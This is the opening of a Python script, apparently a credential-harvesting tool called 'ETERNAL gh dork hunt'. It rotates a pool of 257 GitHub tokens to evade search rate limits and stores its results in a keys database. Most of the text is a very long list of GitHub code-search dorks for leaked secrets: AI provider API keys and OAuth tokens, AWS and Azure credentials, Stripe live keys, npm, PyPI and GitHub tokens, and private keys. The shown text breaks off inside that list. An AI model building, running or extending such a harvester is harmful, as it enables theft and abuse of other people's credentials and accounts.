"""ETERNAL gh dork hunt v2: 257-PAT REST pool + 16 threads. Each query hits api.github.com/search/code with a round-robin PAT. Throughput: ~360 req/min vs 20 before (single gh CLI token). """ import os KF_BASE = os.path.dirname(os.path.abspath(__file__)) os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True) import hashlib import json import os import re import sqlite3 import subprocess import sys import threading import time from concurrent.futures import ThreadPoolExecutor, as_completed import requests DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db") LOG = os.environ.get("KF_LOG") or os.path.join(KF_BASE, "gh_eternal.log") TOKENS_FILE = os.path.join(KF_BASE, "gh_tokens.txt") API = "https://api.github.com/search/code" N_THREADS = 8 _SESSION = requests.Session() _SESSION.trust_env = False DORKS = [ "ANTHROPIC_API_KEY filename:.env", "sk-ant-api03 filename:.env", "OPENAI_API_KEY filename:.env", "OPENAI_API_KEY filename:config", "OPENAI_API_KEY filename:docker-compose", "OPENAI_API_KEY filename:Makefile", "OPENAI_API_KEY filename:md", "OPENAI_API_KEY filename:txt", "OPENAI_API_KEY filename:js", "OPENAI_API_KEY filename:json", "OPENAI_API_KEY filename:ipynb", "ANTHROPIC_API_KEY filename:config", "ANTHROPIC_API_KEY filename:docker-compose", "ANTHROPIC_API_KEY filename:Makefile", "ANTHROPIC_API_KEY filename:md", "ANTHROPIC_API_KEY filename:txt", "sk- filename:.env", "sk-or-v1- filename:.env", "sk-or-v1- filename:json", "sk-or-v1- filename:md", "sk-or-v1- filename:js", "GROQ_API_KEY filename:.env", "MOONSHOT_API_KEY filename:.env", "MOONSHOT_API_KEY filename:docker-compose", "ELEVENLABS_API_KEY filename:.env", "OPENROUTER_API_KEY filename:.env", "DASHSCOPE_API_KEY filename:.env", "ZAI_API_KEY filename:.env", "GLM_API_KEY filename:.env", "DEEPSEEK_API_KEY filename:.env", "deepseek password sk- filename:.env", "sk- filename:.env DEEPSEEK", "ZHIPU_API_KEY filename:.env", "ZHIPUAI_API_KEY filename:json", "BIGMODEL_API_KEY filename:.env", "REPLICATE_API_TOKEN filename:.env", "REPLICATE_API_TOKEN filename:js", "r8_ filename:.env", "COHERE_API_KEY filename:.env", "CO_API_KEY filename:.env", "GEMINI_API_KEY filename:.env", "GOOGLE_API_KEY filename:.env AIza", "AIza filename:.env", "HF_TOKEN filename:.env", "HUGGINGFACE_API_TOKEN filename:.env", "hf_ filename:.env", "SILICONFLOW_API_KEY filename:.env", "SILICONFLOW filename:config", "KIMI_API_KEY filename:.env", "MOONSHOT sk- filename:json", "FIREWORKS_API_KEY filename:.env", "TOGETHER_API_KEY filename:.env", "PERPLEXITY_API_KEY filename:.env", "pplx- filename:.env", "NVIDIA_API_KEY filename:.env", "nvapi- filename:.env", "ANTHROPIC_API_KEY filename:ipynb", "OPENAI_API_KEY filename:ipynb", "sk-ant-api03 filename:ipynb", "filename:.env DASHSCOPE", "Z_AI_API_KEY filename:.env", # wide "sk-ant-api03", "sk-or-v1-", "ANTHROPIC_API_KEY filename:config.py", "OPENAI_API_KEY filename:settings", "OPENAI_API_KEY filename:secrets", "OPENAI_API_KEY filename:credentials", "OPENAI_API_KEY filename:.bashrc", "OPENAI_API_KEY filename:.zshrc", "ANTHROPIC_API_KEY filename:settings", "ANTHROPIC_API_KEY filename:secrets", "sk- filename:credentials.json", "api_key filename:secrets.json", "api_key filename:config.py", "apikey filename:config.py", "DASHSCOPE filename:settings", "ZHIPU filename:settings", "GLM filename:config", "deepseek filename:settings", "REPLICATE filename:config", "GEMINI filename:config", "MOONSHOT filename:config", "KIMI filename:config", "FIREWORKS filename:config", "TOGETHER filename:config", "pplx- filename:config", "nvapi- filename:config", "hf_ filename:config", "OPENAI_API_KEY filename:py", "OPENAI_API_KEY filename:ts", "OPENAI_API_KEY filename:yaml", "OPENAI_API_KEY filename:yml", "OPENAI_API_KEY filename:properties", "OPENAI_API_KEY filename:ini", "OPENAI_API_KEY filename:cfg", "OPENAI_API_KEY filename:toml", "OPENAI_API_KEY filename:php", "ANTHROPIC_API_KEY filename:py", "ANTHROPIC_API_KEY filename:ts", "ANTHROPIC_API_KEY filename:yaml", "ANTHROPIC_API_KEY filename:toml", "ANTHROPIC_API_KEY filename:sh", "DEEPSEEK_API_KEY filename:config", "DEEPSEEK_API_KEY filename:json", "DEEPSEEK_API_KEY filename:md", "DEEPSEEK_API_KEY filename:py", "DASHSCOPE_API_KEY filename:json", "DASHSCOPE_API_KEY filename:config", "DASHSCOPE_API_KEY filename:md", "DASHSCOPE_API_KEY filename:py", "GROQ_API_KEY filename:json", "GROQ_API_KEY filename:config", "GROQ_API_KEY filename:py", "MOONSHOT_API_KEY filename:config", "MOONSHOT_API_KEY filename:json", "ELEVENLABS_API_KEY filename:json", "ELEVENLABS_API_KEY filename:config", "ELEVENLABS_API_KEY filename:md", "OPENROUTER_API_KEY filename:config", "OPENROUTER_API_KEY filename:md", "TOGETHER_API_KEY filename:json", "TOGETHER_API_KEY filename:py", "GEMINI_API_KEY filename:json", "GEMINI_API_KEY filename:config", "HUGGINGFACE_API_TOKEN filename:json", "HUGGINGFACE_API_TOKEN filename:config", "NVIDIA_API_KEY filename:config", "NVIDIA_API_KEY filename:json", "REPLICATE_API_TOKEN filename:config", "REPLICATE_API_TOKEN filename:json", "SILICONFLOW_API_KEY filename:json", "KIMI_API_KEY filename:json", "FIREWORKS_API_KEY filename:json", "PERPLEXITY_API_KEY filename:json", "AWS_SECRET_ACCESS_KEY filename:.env", "SLACK_BOT_TOKEN filename:.env", "STRIPE_SECRET_KEY filename:.env", "sk_live_ filename:.env", "SENDGRID_API_KEY filename:.env", "OPENAI_API_KEY filename:xml", "OPENAI_API_KEY filename:sql", "OPENAI_API_KEY filename:gradle", "ANTHROPIC_API_KEY filename:xml", "DEEPSEEK_API_KEY filename:xml", "DEEPSEEK_API_KEY filename:sql", "DASHSCOPE_API_KEY filename:xml", "sk-proj- filename:md", "sk-ant-api03 filename:md", "ELEVENLABS_API_KEY filename:rb", "OPENAI_API_KEY filename:rb", "OPENAI_API_KEY filename:go", "OPENAI_API_KEY filename:java", "GEMINI_API_KEY filename:md", "hf_ filename:ipynb", "OPENAI_API_KEY filename:ipynb", "ANTHROPIC_API_KEY filename:ipynb", "COHERE_API_KEY filename:.env", "capsolver filename:.env", "CAP- filename:.env", "2captcha filename:.env", "TWOCAPTCHA_API_KEY filename:.env", "ANTICAPTCHA_API_KEY filename:.env", "MISTRAL_API_KEY filename:.env", "MISTRAL_API_KEY filename:json", "MISTRAL_API_KEY filename:config", "MISTRAL_API_KEY filename:py", "tgp_ filename:.env", "tgp_ filename:json", "tgp_ filename:py", "tgp_ filename:ipynb", "TOGETHER_API_KEY filename:json", "TOGETHER_API_KEY filename:py", "TOGETHER_API_KEY filename:ipynb", "fw_ filename:.env", "fw_ filename:json", "fw_ filename:py", "fw_ filename:ipynb", "FIREWORKS_API_KEY filename:py", "FIREWORKS_API_KEY filename:ipynb", "pplx- filename:json", "pplx- filename:py", "pplx- filename:ipynb", "pplx- filename:md", "NOVITA_API_KEY filename:.env", "NOVITA_API_KEY filename:json", "NOVITA_API_KEY filename:py", "STABILITY_API_KEY filename:.env", "STABILITY_API_KEY filename:json", "STABILITY_API_KEY filename:py", "r8_ filename:.env", "r8_ filename:json", "r8_ filename:py", "sk-or-v1 filename:.env", "sk-or-v1 filename:json", "sk-or-v1 filename:py", "sk-or-v1 filename:md", "gsk_ filename:.env", "gsk_ filename:json", "gsk_ filename:py", "gsk_ filename:ipynb", "nvapi- filename:.env", "KIMI_API_KEY filename:.env", "KIMI_API_KEY filename:json", "KIMI filename:.env", "TOGETHER_API_KEY filename:.env", "TOGETHER_API_KEY filename:cfg", "TOGETHER_API_KEY filename:ini", "TOGETHER_API_KEY filename:toml", "TOGETHER_API_KEY filename:yaml", "TOGETHER_API_KEY filename:sh", "TOGETHERAI_API_KEY filename:json", "TOGETHERAI_API_KEY filename:py", "tgp_ sk filename:.env", "FIREWORKS_API_KEY filename:.env", "FIREWORKS_API_KEY filename:cfg", "FIREWORKS_API_KEY filename:ini", "FIREWORKS_API_KEY filename:toml", "FIREWORKS_AI_API_KEY filename:json", "FIREWORKS_AI_API_KEY filename:py", "FIREWORKS_API_TOKEN filename:.env", "NOVITA_API_KEY filename:cfg", "NOVITA_API_KEY filename:ini", "NOVITA_API_KEY filename:toml", "novita.ai filename:.env", "PERPLEXITY_API_KEY filename:.env", "PERPLEXITY_API_KEY filename:cfg", "PERPLEXITY_API_KEY filename:ini", "PERPLEXITY_API_KEY filename:toml", "PERPLEXITYAI_API_KEY filename:json", "pplx- sk filename:.env", "STABILITY_API_KEY filename:cfg", "STABILITY_API_KEY filename:ini", "STABILITY_API_KEY filename:toml", "STABILITY_AI_API_KEY filename:json", "STABILITYAI_API_KEY filename:.env", "STABILITY_KEY filename:.env", "DEEPSEEK_REASONER_API_KEY filename:.env", "DEEPSEEK_REASONER_API_KEY filename:json", "ALIYUN_DASHSCOPE_API_KEY filename:.env", "ALIYUN_DASHSCOPE_API_KEY filename:json", "CLAUDE_CODE_ACCESS_TOKEN filename:.env", "CLAUDE_CODE_ACCESS_TOKEN filename:json", "STABLE_DIFFUSION_API_KEY filename:.env", "STABLE_DIFFUSION_API_KEY filename:json", "CLAUDE_CODE_OAUTH_TOKEN filename:.env", "CLAUDE_CODE_OAUTH_TOKEN filename:json", "QWEN_DASHSCOPE_API_KEY filename:.env", "QWEN_DASHSCOPE_API_KEY filename:json", "TONGYI_QIANWEN_API_KEY filename:.env", "TONGYI_QIANWEN_API_KEY filename:json", "DEEPSEEK_CODER_API_KEY filename:.env", "DEEPSEEK_CODER_API_KEY filename:json", "ALIBABA_CLOUD_API_KEY filename:.env", "ALIBABA_CLOUD_API_KEY filename:json", "DASHSCOPE_LLM_API_KEY filename:.env", "DASHSCOPE_LLM_API_KEY filename:json", "DEEPSEEK_ACCESS_TOKEN filename:.env", "DEEPSEEK_ACCESS_TOKEN filename:json", "DEEPSEEK_CHAT_API_KEY filename:.env", "DEEPSEEK_CHAT_API_KEY filename:json", "ANTHROPIC_OAUTH_TOKEN filename:.env", "ANTHROPIC_OAUTH_TOKEN filename:json", "ALIBABACLOUD_API_KEY filename:.env", "ALIBABACLOUD_API_KEY filename:json", "ALIYUN_CLOUD_API_KEY filename:.env", "ALIYUN_CLOUD_API_KEY filename:json", "ALIBABA_QWEN_API_KEY filename:.env", "ALIBABA_QWEN_API_KEY filename:json", "DEEPSEEK_PRO_API_KEY filename:.env", "DEEPSEEK_PRO_API_KEY filename:json", "NVIDIA_BUILD_API_KEY filename:.env", "NVIDIA_BUILD_API_KEY filename:json", "OPEN_ROUTER_API_KEY filename:.env", "OPEN_ROUTER_API_KEY filename:json", "ALIBABA_LLM_API_KEY filename:.env", "ALIBABA_LLM_API_KEY filename:json", "DASHSCOPE_API_TOKEN filename:.env", "DASHSCOPE_API_TOKEN filename:json", "ALIYUN_QWEN_API_KEY filename:.env", "ALIYUN_QWEN_API_KEY filename:json", "DEEPSEEK_API_SECRET filename:.env", "DEEPSEEK_API_SECRET filename:json", "DEEPSEEK_V3_API_KEY filename:.env", "DEEPSEEK_V3_API_KEY filename:json", "DEEPSEEK_V4_API_KEY filename:.env", "DEEPSEEK_V4_API_KEY filename:json", "DEEPSEEK_R1_API_KEY filename:.env", "DEEPSEEK_R1_API_KEY filename:json", "TWO_CAPTCHA_API_KEY filename:.env", "TWO_CAPTCHA_API_KEY filename:json", "TOGETHER_AI_API_KEY filename:.env", "TOGETHER_AI_API_KEY filename:json", "ALIYUN_LLM_API_KEY filename:.env", "ALIYUN_LLM_API_KEY filename:json", "MODELSCOPE_API_KEY filename:.env", "MODELSCOPE_API_KEY filename:json", "OPENAI_PROJECT_KEY filename:.env", "OPENAI_PROJECT_KEY filename:json", "CLAUDE_OAUTH_TOKEN filename:.env", "CLAUDE_OAUTH_TOKEN filename:json", "MISTRAL_AI_API_KEY filename:.env", "MISTRAL_AI_API_KEY filename:json", "SAKANA_AI_API_KEY filename:.env", "SAKANA_AI_API_KEY filename:json", "BAILIAN_API_TOKEN filename:.env", "BAILIAN_API_TOKEN filename:json", "RUCAPTCHA_API_KEY filename:.env", "RUCAPTCHA_API_KEY filename:json", "OPENAI_SECRET_KEY filename:.env", "OPENAI_SECRET_KEY filename:json", "GOOGLE_AI_API_KEY filename:.env", "GOOGLE_AI_API_KEY filename:json", "MISTRALAI_API_KEY filename:.env", "MISTRALAI_API_KEY filename:json", "REPLICATE_API_KEY filename:.env", "REPLICATE_API_KEY filename:json", "HUGGINGFACE_TOKEN filename:.env", "HUGGINGFACE_TOKEN filename:json", "OPENROUTER_TOKEN filename:.env", "OPENROUTER_TOKEN filename:json", "ALICLOUD_API_KEY filename:.env", "ALICLOUD_API_KEY filename:json", "MODELSCOPE_TOKEN filename:.env", "MODELSCOPE_TOKEN filename:json", "2CAPTCHA_API_KEY filename:.env", "2CAPTCHA_API_KEY filename:json", "ANTHROPIC_APIKEY filename:.env", "ANTHROPIC_APIKEY filename:json", "GOOGLE_API_TOKEN filename:.env", "GOOGLE_API_TOKEN filename:json", "PERPLEXITY_TOKEN filename:.env", "PERPLEXITY_TOKEN filename:json", "CHATGLM_API_KEY filename:.env", "CHATGLM_API_KEY filename:json", "OPEN_ROUTER_KEY filename:.env", "OPEN_ROUTER_KEY filename:json", "ALIBABA_API_KEY filename:.env", "ALIBABA_API_KEY filename:json", "DASHSCOPE_TOKEN filename:.env", "DASHSCOPE_TOKEN filename:json", "BAILIAN_API_KEY filename:.env", "BAILIAN_API_KEY filename:json", "QIANWEN_API_KEY filename:.env", "QIANWEN_API_KEY filename:json", "QWEN2_5_API_KEY filename:.env", "QWEN2_5_API_KEY filename:json", "DEEPSEEK_SECRET filename:.env", "DEEPSEEK_SECRET filename:json", "TWO_CAPTCHA_KEY filename:.env", "TWO_CAPTCHA_KEY filename:json", "ANTHROPIC_TOKEN filename:.env", "ANTHROPIC_TOKEN filename:json", "TOGETHER_AI_KEY filename:.env", "TOGETHER_AI_KEY filename:json", "REPLICATE_TOKEN filename:.env", "REPLICATE_TOKEN filename:json", "FIREWORKS_TOKEN filename:.env", "FIREWORKS_TOKEN filename:json", "STABILITY_TOKEN filename:.env", "STABILITY_TOKEN filename:json", "BIGMODEL_TOKEN filename:.env", "BIGMODEL_TOKEN filename:json", "SAKANA_API_KEY filename:.env", "SAKANA_API_KEY filename:json", "OPENROUTER_KEY filename:.env", "OPENROUTER_KEY filename:json", "ALIYUN_API_KEY filename:.env", "ALIYUN_API_KEY filename:json", "TONGYI_API_KEY filename:.env", "TONGYI_API_KEY filename:json", "DEEPSEEK_TOKEN filename:.env", "DEEPSEEK_TOKEN filename:json", "2CAPTCHA_TOKEN filename:.env", "2CAPTCHA_TOKEN filename:json", "CLAUDE_API_KEY filename:.env", "CLAUDE_API_KEY filename:json", "PERPLEXITY_KEY filename:.env", "PERPLEXITY_KEY filename:json", "DASHSCOPE_KEY filename:.env", "DASHSCOPE_KEY filename:json", "QWEN2_API_KEY filename:.env", "QWEN2_API_KEY filename:json", "RUCAPTCHA_KEY filename:.env", "RUCAPTCHA_KEY filename:json", "CAPTCHA_TOKEN filename:.env", "CAPTCHA_TOKEN filename:json", "ANTHROPIC_KEY filename:.env", "ANTHROPIC_KEY filename:json", "MISTRAL_TOKEN filename:.env", "MISTRAL_TOKEN filename:json", "REPLICATE_KEY filename:.env", "REPLICATE_KEY filename:json", "FIREWORKS_KEY filename:.env", "FIREWORKS_KEY filename:json", "GLM4_API_KEY filename:.env", "GLM4_API_KEY filename:json", "GLM5_API_KEY filename:.env", "GLM5_API_KEY filename:json", "BIGMODEL_KEY filename:.env", "BIGMODEL_KEY filename:json", "FUGU_API_KEY filename:.env", "FUGU_API_KEY filename:json", "FISH_API_KEY filename:.env", "FISH_API_KEY filename:json", "QWEN_API_KEY filename:.env", "QWEN_API_KEY filename:json", "DEEPSEEK_KEY filename:.env", "DEEPSEEK_KEY filename:json", "2CAPTCHA_KEY filename:.env", "2CAPTCHA_KEY filename:json", "OPENAI_TOKEN filename:.env", "OPENAI_TOKEN filename:json", "TOGETHER_KEY filename:.env", "TOGETHER_KEY filename:json", "PPLX_API_KEY filename:.env", "PPLX_API_KEY filename:json", "HF_API_TOKEN filename:.env", "HF_API_TOKEN filename:json", "ZHIPUAI_KEY filename:.env", "ZHIPUAI_KEY filename:json", "CHATGLM_KEY filename:.env", "CHATGLM_KEY filename:json", "ALI_API_KEY filename:.env", "ALI_API_KEY filename:json", "CAPTCHA_KEY filename:.env", "CAPTCHA_KEY filename:json", "GCP_API_KEY filename:.env", "GCP_API_KEY filename:json", "MISTRAL_KEY filename:.env", "MISTRAL_KEY filename:json", "NIM_API_KEY filename:.env", "NIM_API_KEY filename:json", "SAKANA_KEY filename:.env", "SAKANA_KEY filename:json", "OR_API_KEY filename:.env", "OR_API_KEY filename:json", "QWEN_TOKEN filename:.env", "QWEN_TOKEN filename:json", "DS_API_KEY filename:.env", "DS_API_KEY filename:json", "OPENAI_KEY filename:.env", "OPENAI_KEY filename:json", "CLAUDE_KEY filename:.env", "CLAUDE_KEY filename:json", "NVIDIA_KEY filename:.env", "NVIDIA_KEY filename:json", "ZHIPU_KEY filename:.env", "ZHIPU_KEY filename:json", "Z_AI_KEY filename:.env", "Z_AI_KEY filename:json", "OR_TOKEN filename:.env", "OR_TOKEN filename:json", "QWEN_KEY filename:.env", "QWEN_KEY filename:json", "PPLX_KEY filename:.env", "PPLX_KEY filename:json", "ZAI_KEY filename:.env", "ZAI_KEY filename:json", "\"x-api-key\" language:shell", "sk-ant language:swift", "OPENAI_API_KEY language:kotlin", "GEMINI_API_KEY language:csharp", "sk-or-v1- language:dart", "sk-ant language:rust", "DEEPSEEK_API_KEY language:groovy", "ANTHROPIC_API_KEY language:hcl", "hf_ language:hcl", "GROQ_API_KEY filename:Dockerfile", "OPENAI_API_KEY filename:Dockerfile", "AIza filename:local.properties", "ANTHROPIC_API_KEY filename:local.properties", "MISTRAL_API_KEY filename:gradle.properties", "x-api-key filename:sh", # v3 weak-provider expansion (dedup-checked vs existing) "TOGETHER_API_KEY filename:yml", "TOGETHER_API_KEY filename:md", "TOGETHER_API_KEY filename:ts", "TOGETHER_API_KEY filename:js", "TOGETHER_API_KEY filename:rb", "TOGETHER_API_KEY filename:docker-compose", "TOGETHER_API_KEY filename:properties", "TOGETHERAI_API_KEY filename:.env", "TOGETHER_AI_API_KEY filename:py", "tgp_ filename:config", "tgp_ filename:md", "tgp_ filename:ts", "tgp_ filename:yml", "tgp_ filename:sh", "tgp_ filename:yaml", "FIREWORKS_API_KEY filename:yml", "FIREWORKS_API_KEY filename:yaml", "FIREWORKS_API_KEY filename:md", "FIREWORKS_API_KEY filename:js", "FIREWORKS_API_KEY filename:ts", "FIREWORKS_API_KEY filename:sh", "FIREWORKS_API_KEY filename:docker-compose", "FIREWORKS_AI_API_KEY filename:.env", "FIREWORKS_AI_API_KEY filename:yaml", "FIREWORKS_AI_API_TOKEN filename:.env", "fw_ filename:config", "fw_ filename:md", "fw_ filename:sh", "fw_ filename:yaml", "FIREWORKS filename:settings", "NOVITA_API_KEY filename:yml", "NOVITA_API_KEY filename:yaml", "NOVITA_API_KEY filename:md", "NOVITA_API_KEY filename:ipynb", "NOVITA_API_KEY filename:sh", "NOVITA_API_KEY filename:ts", "NOVITA_API_KEY filename:docker-compose", "NOVITA_TOKEN filename:.env", "NOVITA_TOKEN filename:json", "NOVITA_API_TOKEN filename:.env", "NOVITA filename:config", "PERPLEXITY_API_KEY filename:yml", "PERPLEXITY_API_KEY filename:yaml", "PERPLEXITY_API_KEY filename:py", "PERPLEXITY_API_KEY filename:ipynb", "PERPLEXITY_API_KEY filename:md", "PERPLEXITY_API_KEY filename:sh", "PERPLEXITY_API_KEY filename:docker-compose", "PERPLEXITYAI_API_KEY filename:.env", "PPLX_API_KEY filename:py", "PPLX_API_KEY filename:yml", "PPLX_TOKEN filename:.env", "pplx- filename:yaml", "pplx- filename:yml", "pplx- filename:toml", "pplx- filename:ini", "pplx- filename:cfg", "STABILITY_API_KEY filename:yml", "STABILITY_API_KEY filename:yaml", "STABILITY_API_KEY filename:md", "STABILITY_API_KEY filename:ipynb", "STABILITY_API_KEY filename:sh", "STABILITY_API_KEY filename:ts", "STABILITY_API_KEY filename:docker-compose", "STABILITY_AI_API_KEY filename:.env", "STABILITY_AI_API_KEY filename:py", "STABILITYAI_API_KEY filename:json", "STABLE_DIFFUSION_API_KEY filename:py", "STABLE_DIFFUSION_API_KEY filename:yml", "STABILITY filename:config", "GROQ_API_KEY filename:yml", "GROQ_API_KEY filename:yaml", "GROQ_API_KEY filename:md", "GROQ_API_KEY filename:ipynb", "GROQ_API_KEY filename:toml", "GROQ_API_KEY filename:sh", "GROQ_API_KEY filename:ts", "GROQ_API_KEY filename:js", "GROQ_API_KEY filename:docker-compose", "GROQ_API_KEY filename:properties", "GROQ_API_TOKEN filename:.env", "GROQ_API_TOKEN filename:json", "gsk_ filename:config", "gsk_ filename:md", "gsk_ filename:sh", "gsk_ filename:yaml", "GROQ filename:settings", "NVIDIA_API_KEY filename:py", "NVIDIA_API_KEY filename:yml", "NVIDIA_API_KEY filename:yaml", "NVIDIA_API_KEY filename:md", "NVIDIA_API_KEY filename:ipynb", "NVIDIA_API_KEY filename:toml", "NVIDIA_API_KEY filename:sh", "NVIDIA_API_KEY filename:docker-compose", "NVIDIA_NIM_API_KEY filename:.env", "NVIDIA_NIM_API_KEY filename:json", "NVIDIA_NIM_API_KEY filename:py", "NVAPI filename:.env", "NVAPI filename:json", "nvapi- filename:env", "nvapi- filename:json", "nvapi- filename:py", "nvapi- filename:ipynb", "nvapi- filename:md", "nvapi- filename:yaml", "NIM_API_KEY filename:py", "MINIMAX_API_KEY filename:.env", "MINIMAX_API_KEY filename:json", "MINIMAX_API_KEY filename:py", "MINIMAX_API_KEY filename:yml", "MINIMAX_API_KEY filename:yaml", "MINIMAX_API_KEY filename:toml", "MINIMAX_API_KEY filename:ini", "MINIMAX_API_KEY filename:cfg", "MINIMAX_API_KEY filename:md", "MINIMAX_API_KEY filename:sh", "MINIMAX_API_KEY filename:ipynb", "MINIMAX_API_KEY filename:ts", "MINIMAX_API_KEY filename:docker-compose", "MINIMAX_GROUP_ID filename:.env", "MINIMAX_GROUP_ID filename:json", "MINIMAX_TOKEN filename:.env", "MINIMAX_KEY filename:.env", "HF_TOKEN filename:json", "HF_TOKEN filename:py", "HF_TOKEN filename:ipynb", "HF_TOKEN filename:yml", "HF_TOKEN filename:yaml", "HF_TOKEN filename:md", "HF_TOKEN filename:sh", "HUGGINGFACE_API_TOKEN filename:py", "HUGGINGFACE_API_TOKEN filename:ipynb", "HUGGINGFACE_API_TOKEN filename:yml", "HUGGING_FACE_HUB_TOKEN filename:.env", "HUGGING_FACE_HUB_TOKEN filename:json", "HUGGING_FACE_HUB_TOKEN filename:py", "HUGGINGFACE_API_KEY filename:.env", "HUGGINGFACE_API_KEY filename:json", "HUGGINGFACEHUB_API_TOKEN filename:.env", "HF_API_KEY filename:.env", "HF_API_KEY filename:json", "HUGGINGFACE_TOKEN filename:py", "hf_ filename:yaml", "hf_ filename:md", "hf_ filename:ts", "hf_ filename:sh", "MISTRAL_API_KEY filename:yml", "MISTRAL_API_KEY filename:yaml", "MISTRAL_API_KEY filename:toml", "MISTRAL_API_KEY filename:ipynb", "MISTRAL_API_KEY filename:sh", "MISTRAL_API_KEY filename:ts", "MISTRAL_API_KEY filename:md", "MISTRAL_API_KEY filename:docker-compose", "MISTRAL_TOKEN filename:py", "COHERE_API_KEY filename:json", "COHERE_API_KEY filename:py", "COHERE_API_KEY filename:yml", "COHERE_API_KEY filename:yaml", "COHERE_API_KEY filename:toml", "COHERE_API_KEY filename:ipynb", "COHERE_API_KEY filename:js", "COHERE_API_KEY filename:ts", "COHERE_API_KEY filename:docker-compose", "CO_API_KEY filename:json", "CO_API_KEY filename:py", "CO_API_KEY filename:yml", "COHERE_API_TOKEN filename:.env", "COHERE_API_TOKEN filename:json", "COHERE_KEY filename:.env", "COHERE filename:config", "REPLICATE_API_TOKEN filename:py", "REPLICATE_API_TOKEN filename:yml", "REPLICATE_API_TOKEN filename:yaml", "REPLICATE_API_TOKEN filename:md", "REPLICATE_API_TOKEN filename:ipynb", "REPLICATE_API_TOKEN filename:sh", "REPLICATE_API_TOKEN filename:docker-compose", "r8_ filename:config", "r8_ filename:md", "r8_ filename:sh", "r8_ filename:yaml", "REPLICATE_API_KEY filename:py", "REPLICATE_API_KEY filename:yml", "REPLICATE filename:settings", "ELEVENLABS_API_KEY filename:py", "ELEVENLABS_API_KEY filename:yml", "ELEVENLABS_API_KEY filename:yaml", "ELEVENLABS_API_KEY filename:toml", "ELEVENLABS_API_KEY filename:ipynb", "ELEVENLABS_API_KEY filename:sh", "ELEVENLABS_API_KEY filename:ts", "ELEVENLABS_API_KEY filename:js", "ELEVENLABS_API_KEY filename:docker-compose", "XI_API_KEY filename:.env", "XI_API_KEY filename:json", "XI_API_KEY filename:py", "ELEVENLABS_API_TOKEN filename:.env", "ELEVENLABS_KEY filename:.env", "MOONSHOT_API_KEY filename:py", "MOONSHOT_API_KEY filename:yml", "MOONSHOT_API_KEY filename:yaml", "MOONSHOT_API_KEY filename:toml", "MOONSHOT_API_KEY filename:ipynb", "MOONSHOT_API_KEY filename:sh", "MOONSHOT_API_KEY filename:md", "KIMI_API_KEY filename:py", "SAKANA_AI_API_KEY filename:py", "SAKANA_AI_API_KEY filename:yaml", "SAKANA_API_KEY filename:py", "SAKANA filename:config", "SAKANA_TOKEN filename:.env", "LTAI filename:.env", "LTAI filename:json", "LTAI filename:py", "LTAI filename:yml", "LTAI filename:ipynb", "ALIYUN_ACCESS_KEY_ID filename:.env", "ALIYUN_ACCESS_KEY_SECRET filename:.env", "ALIBABA_CLOUD_ACCESS_KEY_ID filename:.env", "ALIBABA_CLOUD_ACCESS_KEY_SECRET filename:.env", "ALIYUN_AKAP filename:.env", "ALIYUN_AKAP filename:json", "DASHSCOPE_API_KEY filename:yml", "DASHSCOPE_API_KEY filename:yaml", "DASHSCOPE_API_KEY filename:json", "DASHSCOPE_API_KEY filename:py", "DASHSCOPE_API_KEY filename:toml", "DASHSCOPE_API_KEY filename:js", "DASHSCOPE_API_KEY filename:ts", "DASHSCOPE_API_KEY filename:ipynb", "DASHSCOPE_API_KEY filename:md", "DASHSCOPE_API_KEY filename:sh", "DASHSCOPE_API_KEY filename:docker-compose", "DASHSCOPE_API_KEY filename:properties", "DASHSCOPE_API_TOKEN filename:.env", "DASHSCOPE_TOKEN filename:.env", "DASH_API_KEY filename:.env", "QWEN_API_KEY filename:.env", "QWEN_API_KEY filename:py", "QWEN_DASHSCOPE_API_KEY filename:.env", "TONGYI_QIANWEN_API_KEY filename:.env", "TONGYI_API_KEY filename:.env", "ALIYUN_DASHSCOPE_API_KEY filename:.env", "ALIYUN_DASHSCOPE_API_KEY filename:py", "dashscope sk- filename:.env", "api.dashscope.cn sk-", "dashscope sk- filename:json", "dashscope sk- filename:md", "dashscope sk- filename:py", "dashscope sk- filename:yml", "MODEL_STUDIO_API_KEY filename:.env", "BAILIAN_API_KEY filename:.env", "MODELSCOPE_API_KEY filename:.env", # === v4 traffic & infra expansion === # Cloud providers "AWS_ACCESS_KEY_ID filename:.env", "AWS_SECRET_ACCESS_KEY filename:.env", "AKIA filename:json", "AZURE_CLIENT_SECRET filename:.env", "AZURE_TENANT_ID filename:.env", "CLOUDFLARE_API_TOKEN filename:.env", "CF_API_TOKEN filename:.env", "DIGITALOCEAN_TOKEN filename:.env", "DO_TOKEN filename:.env", "VULTR_API_KEY filename:.env", "LINODE_TOKEN filename:.env", "HEROKU_API_KEY filename:.env", "VERCEL_TOKEN filename:.env", "NETLIFY_AUTH_TOKEN filename:.env", # AI infra / GPU clouds "RUNPOD_API_KEY filename:.env", "MODAL_TOKEN filename:.env", "LAMBDA_API_KEY filename:.env", "ANYSCALE_API_KEY filename:.env", # Vector DBs / RAG "PINECONE_API_KEY filename:.env", "WEAVIATE_API_KEY filename:.env", "CHROMA_API_KEY filename:.env", "QDRANT_API_KEY filename:.env", # ML ops "WANDB_API_KEY filename:.env", "LANGCHAIN_API_KEY filename:.env", "LANGSMITH_API_KEY filename:.env", # Communication / bots "DISCORD_BOT_TOKEN filename:.env", "DISCORD_TOKEN filename:.env", "SLACK_BOT_TOKEN filename:.env", "SLACK_APP_TOKEN filename:.env", "NOTION_API_KEY filename:.env", "NOTION_TOKEN filename:.env", "SENDGRID_API_KEY filename:.env", "MAILGUN_API_KEY filename:.env", "TWILIO_AUTH_TOKEN filename:.env", # Payment "STRIPE_SECRET_KEY filename:.env", "sk_live_ filename:.env", "PAYPAL_CLIENT_SECRET filename:.env", # Dev tools / registries "NPM_TOKEN filename:.env", "npm_ filename:.npmrc", "PYPI_TOKEN filename:.env", "pypi- filename:.env", "DOCKER_PASSWORD filename:.env", "GITHUB_TOKEN filename:.env", "ghp_ filename:.env", "gho_ filename:.env", # Secrets / auth "JWT_SECRET filename:.env", "SESSION_SECRET filename:.env", "ENCRYPTION_KEY filename:.env", "PRIVATE_KEY filename:pem", "-----BEGIN RSA PRIVATE KEY----- filename:pem", # v7: PatternForge wave — new high-signal families (2026-10-02) "JINA_API_KEY filename:.env", "jina_ filename:.env", "JINA_API_KEY filename:config", "BRAVE_SEARCH_API_KEY filename:.env", "BRAVE_API_KEY filename:.env", "BSA filename:.env", "BFL_API_KEY filename:.env", "bfl_ filename:.env", "DEEPINFRA_API_KEY filename:.env", "DEEPINFRA_TOKEN filename:.env", "di_ filename:.env", "MODAL_TOKEN_ID filename:.env", "ak- filename:.env", 